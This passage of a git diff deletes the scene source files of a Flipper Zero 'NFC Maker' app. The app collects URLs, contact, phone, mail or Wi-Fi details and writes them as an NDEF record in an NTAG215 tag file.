nfc_maker_scene_contact_mail_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_mail_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Mail Address:"); - - strlcpy(app->mail_buf, "ben.dover@yourmom.zip", MAIL_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_mail_text_input_callback, - app, - app->mail_buf, - MAIL_INPUT_LEN, - true); - - text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_mail_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactPhone); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_mail_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_phone.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_phone.c deleted file mode 100644 index e9d16a217..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_phone.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_phone_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_phone_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Phone Number:"); - - strlcpy(app->phone_buf, "+", PHONE_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_phone_text_input_callback, - app, - app->phone_buf, - PHONE_INPUT_LEN, - false); - - text_input_set_minimum_length(text_input, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_phone_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneContactUrl); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_phone_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_url.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_url.c deleted file mode 100644 index a194f83b4..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_contact_url.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_contact_url_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_contact_url_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter URL Link:"); - - strlcpy(app->big_buf, "flipper-xtre.me", BIG_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_contact_url_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - text_input_set_minimum_length(text_input, 0); - - text_input_add_illegal_symbols(text_input); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_contact_url_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_contact_url_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_https.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_https.c deleted file mode 100644 index a7383c59b..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_https.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_https_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_https_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Https Link:"); - - strlcpy(app->big_buf, "flipper-xtre.me", BIG_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_https_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - text_input_add_illegal_symbols(text_input); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_https_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_https_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_mail.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_mail.c deleted file mode 100644 index eba7319d4..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_mail.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_mail_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_mail_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Mail Address:"); - - strlcpy(app->mail_buf, "ben.dover@yourmom.zip", MAIL_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_mail_text_input_callback, - app, - app->mail_buf, - MAIL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_mail_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_mail_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_phone.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_phone.c deleted file mode 100644 index 27ad9e671..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_phone.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_phone_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_phone_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Phone Number:"); - - strlcpy(app->phone_buf, "+", PHONE_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_phone_text_input_callback, - app, - app->phone_buf, - PHONE_INPUT_LEN, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_phone_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_phone_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_result.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_result.c deleted file mode 100644 index fa17201ba..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_result.c +++ /dev/null @@ -1,400 +0,0 @@ -#include "../nfc_maker.h" - -enum PopupEvent { - PopupEventExit, -}; - -static void nfc_maker_scene_result_popup_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, PopupEventExit); -} - -void nfc_maker_scene_result_on_enter(void* context) { - NfcMaker* app = context; - Popup* popup = app->popup; - bool success = false; - - FlipperFormat* file = flipper_format_file_alloc(furi_record_open(RECORD_STORAGE)); - FuriString* path = furi_string_alloc(); - furi_string_printf(path, NFC_APP_FOLDER "/%s" NFC_APP_FILENAME_EXTENSION, app->save_buf); - - uint32_t pages = 135; - size_t size = pages * 4; - uint8_t* buf = malloc(size); - do { - if(!flipper_format_file_open_new(file, furi_string_get_cstr(path))) break; - - if(!flipper_format_write_header_cstr(file, "Flipper NFC device", 3)) break; - if(!flipper_format_write_string_cstr(file, "Device type", "NTAG215")) break; - - // Serial number - size_t i = 0; - buf[i++] = 0x04; - furi_hal_random_fill_buf(&buf[i], 8); - i += 8; - uint8_t uid[7]; - memcpy(&uid[0], &buf[0], 3); - memcpy(&uid[3], &buf[4], 4); - - if(!flipper_format_write_hex(file, "UID", uid, sizeof(uid))) break; - if(!flipper_format_write_string_cstr(file, "ATQA", "00 44")) break; - if(!flipper_format_write_string_cstr(file, "SAK", "00")) break; - // TODO: Maybe randomize? - if(!flipper_format_write_string_cstr( - file, - "Signature", - "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00")) - break; - if(!flipper_format_write_string_cstr(file, "Mifare version", "00 04 04 02 01 00 11 03")) - break; - - if(!flipper_format_write_string_cstr(file, "Counter 0", "0")) break; - if(!flipper_format_write_string_cstr(file, "Tearing 0", "00")) break; - if(!flipper_format_write_string_cstr(file, "Counter 1", "0")) break; - if(!flipper_format_write_string_cstr(file, "Tearing 1", "00")) break; - if(!flipper_format_write_string_cstr(file, "Counter 2", "0")) break; - if(!flipper_format_write_string_cstr(file, "Tearing 2", "00")) break; - if(!flipper_format_write_uint32(file, "Pages total", &pages, 1)) break; - - // Static data - buf[i++] = 0x48; // Internal - buf[i++] = 0x00; // Lock bytes - buf[i++] = 0x00; // ... - - buf[i++] = 0xE1; // Capability container - buf[i++] = 0x10; // ... - buf[i++] = 0x3E; // ... - buf[i++] = 0x00; // ... - - buf[i++] = 0x03; // Container flags - - // NDEF Docs: https://developer.nordicsemi.com/nRF_Connect_SDK/doc/latest/nrf/protocols/nfc/index.html#nfc-data-exchange-format-ndef - uint8_t tnf = 0x00; - const char* type = ""; - uint8_t* payload = NULL; - size_t payload_len = 0; - - size_t data_len = 0; - size_t j = 0; - switch(scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneStart)) { - case NfcMakerSceneBluetooth: { - tnf = 0x02; // Media-type [RFC 2046] - type = "application/vnd.bluetooth.ep.oob"; - - data_len = MAC_INPUT_LEN; - payload_len = data_len + 2; - payload = malloc(payload_len); - - payload[j++] = 0x08; - payload[j++] = 0x00; - memcpy(&payload[j], app->mac_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneContact: { - tnf = 0x02; // Media-type [RFC 2046] - type = "text/vcard"; - - FuriString* vcard = furi_string_alloc_set("BEGIN:VCARD\r\nVERSION:3.0\r\n"); - furi_string_cat_printf( - vcard, "PRODID:-//Flipper Xtreme//%s//EN\r\n", version_get_version(NULL)); - furi_string_cat_printf(vcard, "N:%s;%s;;;\r\n", app->small_buf2, app->small_buf1); - furi_string_cat_printf( - vcard, - "FN:%s%s%s\r\n", - app->small_buf1, - strnlen(app->small_buf2, SMALL_INPUT_LEN) ? " " : "", - app->small_buf2); - if(strnlen(app->mail_buf, MAIL_INPUT_LEN)) { - furi_string_cat_printf(vcard, "EMAIL:%s\r\n", app->mail_buf); - } - if(strnlen(app->phone_buf, PHONE_INPUT_LEN)) { - furi_string_cat_printf(vcard, "TEL:%s\r\n", app->phone_buf); - } - if(strnlen(app->big_buf, BIG_INPUT_LEN)) { - furi_string_cat_printf(vcard, "URL:%s\r\n", app->big_buf); - } - furi_string_cat_printf(vcard, "END:VCARD\r\n"); - - payload_len = furi_string_size(vcard); - payload = malloc(payload_len); - memcpy(payload, furi_string_get_cstr(vcard), payload_len); - furi_string_free(vcard); - break; - } - case NfcMakerSceneHttps: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->big_buf, BIG_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x04; // Prepend "https://" - memcpy(&payload[j], app->big_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneMail: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->mail_buf, MAIL_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x06; // Prepend "mailto:" - memcpy(&payload[j], app->mail_buf, data_len); - j += data_len; - break; - } - case NfcMakerScenePhone: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->phone_buf, PHONE_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x05; // Prepend "tel:" - memcpy(&payload[j], app->phone_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneText: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x54"; - - data_len = strnlen(app->big_buf, BIG_INPUT_LEN); - payload_len = data_len + 3; - payload = malloc(payload_len); - - payload[j++] = 0x02; - payload[j++] = 0x65; // e - payload[j++] = 0x6E; // n - memcpy(&payload[j], app->big_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneUrl: { - tnf = 0x01; // NFC Forum well-known type [NFC RTD] - type = "\x55"; - - data_len = strnlen(app->big_buf, BIG_INPUT_LEN); - payload_len = data_len + 1; - payload = malloc(payload_len); - - payload[j++] = 0x00; // No prepend - memcpy(&payload[j], app->big_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneWifi: { - tnf = 0x02; // Media-type [RFC 2046] - type = "application/vnd.wfa.wsc"; - - uint8_t ssid_len = strnlen(app->small_buf1, SMALL_INPUT_LEN); - uint8_t pass_len = strnlen(app->small_buf2, SMALL_INPUT_LEN); - uint8_t data_len = ssid_len + pass_len; - payload_len = data_len + 39; - payload = malloc(payload_len); - - payload[j++] = 0x10; - payload[j++] = 0x0E; - payload[j++] = 0x00; - - payload[j++] = data_len + 43; - payload[j++] = 0x10; - payload[j++] = 0x26; - payload[j++] = 0x00; - - payload[j++] = 0x01; - payload[j++] = 0x01; - payload[j++] = 0x10; - payload[j++] = 0x45; - - payload[j++] = 0x00; - payload[j++] = ssid_len; - memcpy(&payload[j], app->small_buf1, ssid_len); - j += ssid_len; - payload[j++] = 0x10; - payload[j++] = 0x03; - - payload[j++] = 0x00; - payload[j++] = 0x02; - payload[j++] = 0x00; - payload[j++] = - scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiAuth); - - payload[j++] = 0x10; - payload[j++] = 0x0F; - payload[j++] = 0x00; - payload[j++] = 0x02; - - payload[j++] = 0x00; - payload[j++] = - scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiEncr); - payload[j++] = 0x10; - payload[j++] = 0x27; - - payload[j++] = 0x00; - payload[j++] = pass_len; - memcpy(&payload[j], app->small_buf2, pass_len); - j += pass_len; - payload[j++] = 0x10; - payload[j++] = 0x20; - - payload[j++] = 0x00; - payload[j++] = 0x06; - payload[j++] = 0xFF; - payload[j++] = 0xFF; - - payload[j++] = 0xFF; - payload[j++] = 0xFF; - payload[j++] = 0xFF; - payload[j++] = 0xFF; - - break; - } - default: - break; - } - - // Record header - uint8_t flags = 0; - flags |= 1 << 7; // MB (Message Begin) - flags |= 1 << 6; // ME (Message End) - flags |= tnf; // TNF (Type Name Format) - size_t type_len = strlen(type); - - size_t header_len = 0; - header_len += 1; // Flags and TNF - header_len += 1; // Type length - if(payload_len < 0xFF) { - flags |= 1 << 4; // SR (Short Record) - header_len += 1; // Payload length - } else { - header_len += 4; // Payload length - } - header_len += type_len; // Payload type - - size_t record_len = header_len + payload_len; - if(record_len < 0xFF) { - buf[i++] = record_len; // Record length - } else { - buf[i++] = 0xFF; // Record length - buf[i++] = record_len >> 8; // ... - buf[i++] = record_len & 0xFF; // ... - } - buf[i++] = flags; // Flags and TNF - buf[i++] = type_len; // Type length - if(flags & 1 << 4) { // SR (Short Record) - buf[i++] = payload_len; // Payload length - } else { - buf[i++] = 0x00; // Payload length - buf[i++] = 0x00; // ... - buf[i++] = payload_len >> 8; // ... - buf[i++] = payload_len & 0xFF; // ... - } - memcpy(&buf[i], type, type_len); // Payload type - i += type_len; - - // Record payload - memcpy(&buf[i], payload, payload_len); - i += payload_len; - free(payload); - - // Record terminator - buf[i++] = 0xFE; - - // Padding until last 5 pages - for(; i < size - 20; i++) { - buf[i] = 0x00; - } - - // Last 5 static pages - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0xBD; - - buf[i++] = 0x04; - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0xFF; - - buf[i++] = 0x00; - buf[i++] = 0x05; - buf[i++] = 0x00; - buf[i++] = 0x00; - - buf[i++] = 0xFF; - buf[i++] = 0xFF; - buf[i++] = 0xFF; - buf[i++] = 0xFF; - - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0x00; - - // Write pages - char str[16]; - bool ok = true; - for(size_t page = 0; page < pages; page++) { - snprintf(str, sizeof(str), "Page %u", page); - if(!flipper_format_write_hex(file, str, &buf[page * 4], 4)) { - ok = false; - break; - } - } - if(!ok) break; - - success = true; - - } while(false); - free(buf); - - furi_string_free(path); - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); - - if(success) { - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - } else { - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - } - popup_set_timeout(popup, 1500); - popup_set_context(popup, app); - popup_set_callback(popup, nfc_maker_scene_result_popup_callback); - popup_enable_timeout(popup); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewPopup); -} - -bool nfc_maker_scene_result_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case PopupEventExit: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, NfcMakerSceneStart); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_result_on_exit(void* context) { - NfcMaker* app = context; - popup_reset(app->popup); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_save.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_save.c deleted file mode 100644 index 295a5dd2d..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_save.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_save_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_save_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Save the NFC tag:"); - - name_generator_make_auto(app->save_buf, BIG_INPUT_LEN, "NFC"); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_save_text_input_callback, - app, - app->save_buf, - BIG_INPUT_LEN, - true); - - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(NFC_APP_FOLDER, NFC_APP_FILENAME_EXTENSION, NULL); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_save_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneResult); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_save_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_start.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_start.c deleted file mode 100644 index e791b1284..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_start.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "../nfc_maker.h" - -void nfc_maker_scene_start_submenu_callback(void* context, uint32_t index) { - NfcMaker* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_maker_scene_start_on_enter(void* context) { - NfcMaker* app = context; - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "NFC Tag Maker:"); - - submenu_add_item( - submenu, - "Bluetooth MAC", - NfcMakerSceneBluetooth, - nfc_maker_scene_start_submenu_callback, - app); - - submenu_add_item( - submenu, - "Contact Vcard", - NfcMakerSceneContact, - nfc_maker_scene_start_submenu_callback, - app); - - submenu_add_item( - submenu, "HTTPS Link", NfcMakerSceneHttps, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Mail Address", NfcMakerSceneMail, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Phone Number", NfcMakerScenePhone, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Text Note", NfcMakerSceneText, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Plain URL", NfcMakerSceneUrl, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "WiFi Login", NfcMakerSceneWifi, nfc_maker_scene_start_submenu_callback, app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewSubmenu); -} - -bool nfc_maker_scene_start_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneStart, event.event); - consumed = true; - scene_manager_next_scene(app->scene_manager, event.event); - } - - return consumed; -} - -void nfc_maker_scene_start_on_exit(void* context) { - NfcMaker* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_text.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_text.c deleted file mode 100644 index 2e53c3cf3..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_text.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_text_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_text_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Text Note:"); - - strlcpy(app->big_buf, "Lorem ipsum", BIG_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_text_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - text_input_add_illegal_symbols(text_input); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_text_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_text_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_url.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_url.c deleted file mode 100644 index d2de8745e..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_url.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_url_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_url_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter Plain URL:"); - - strlcpy(app->big_buf, "https://flipper-xtre.me", BIG_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_url_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - text_input_add_illegal_symbols(text_input); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_url_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_url_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi.c deleted file mode 100644 index cfbc51ace..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_wifi_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_wifi_on_enter(void* context) { - NfcMaker* app = context; - TextInput* text_input = app->text_input; - - text_input_set_header_text(text_input, "Enter WiFi SSID:"); - - strlcpy(app->small_buf1, "Bill Wi the Science Fi", SMALL_INPUT_LEN); - - text_input_set_result_callback( - text_input, - nfc_maker_scene_wifi_text_input_callback, - app, - app->small_buf1, - SMALL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_wifi_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_set_scene_state( - app->scene_manager, NfcMakerSceneWifiAuth, WifiAuthenticationWpa2Personal); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneWifiAuth); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_wifi_on_exit(void* context) { - NfcMaker* app = context; - text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_auth.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_auth.c deleted file mode 100644 index 6e14c4e97..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_auth.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "../nfc_maker.h" - -void nfc_maker_scene_wifi_auth_submenu_callback(void* context, uint32_t index) { - NfcMaker* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_maker_scene_wifi_auth_on_enter(void* context) { - NfcMaker* app = context; - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "Authentication Type:"); - - submenu_add_item( - submenu, "Open", WifiAuthenticationOpen, nfc_maker_scene_wifi_auth_submenu_callback, app); - - submenu_add_item( - submenu, - "WPA 2 Personal", - WifiAuthenticationWpa2Personal, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "WPA 2 Enterprise", - WifiAuthenticationWpa2Enterprise, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "WPA Personal", - WifiAuthenticationWpaPersonal, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "WPA Enterprise", - WifiAuthenticationWpaEnterprise, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "Shared", - WifiAuthenticationShared, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiAuth)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewSubmenu); -} - -bool nfc_maker_scene_wifi_auth_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneWifiAuth, event.event); - consumed = true; - if(event.event == WifiAuthenticationOpen) { - scene_manager_set_scene_state( - 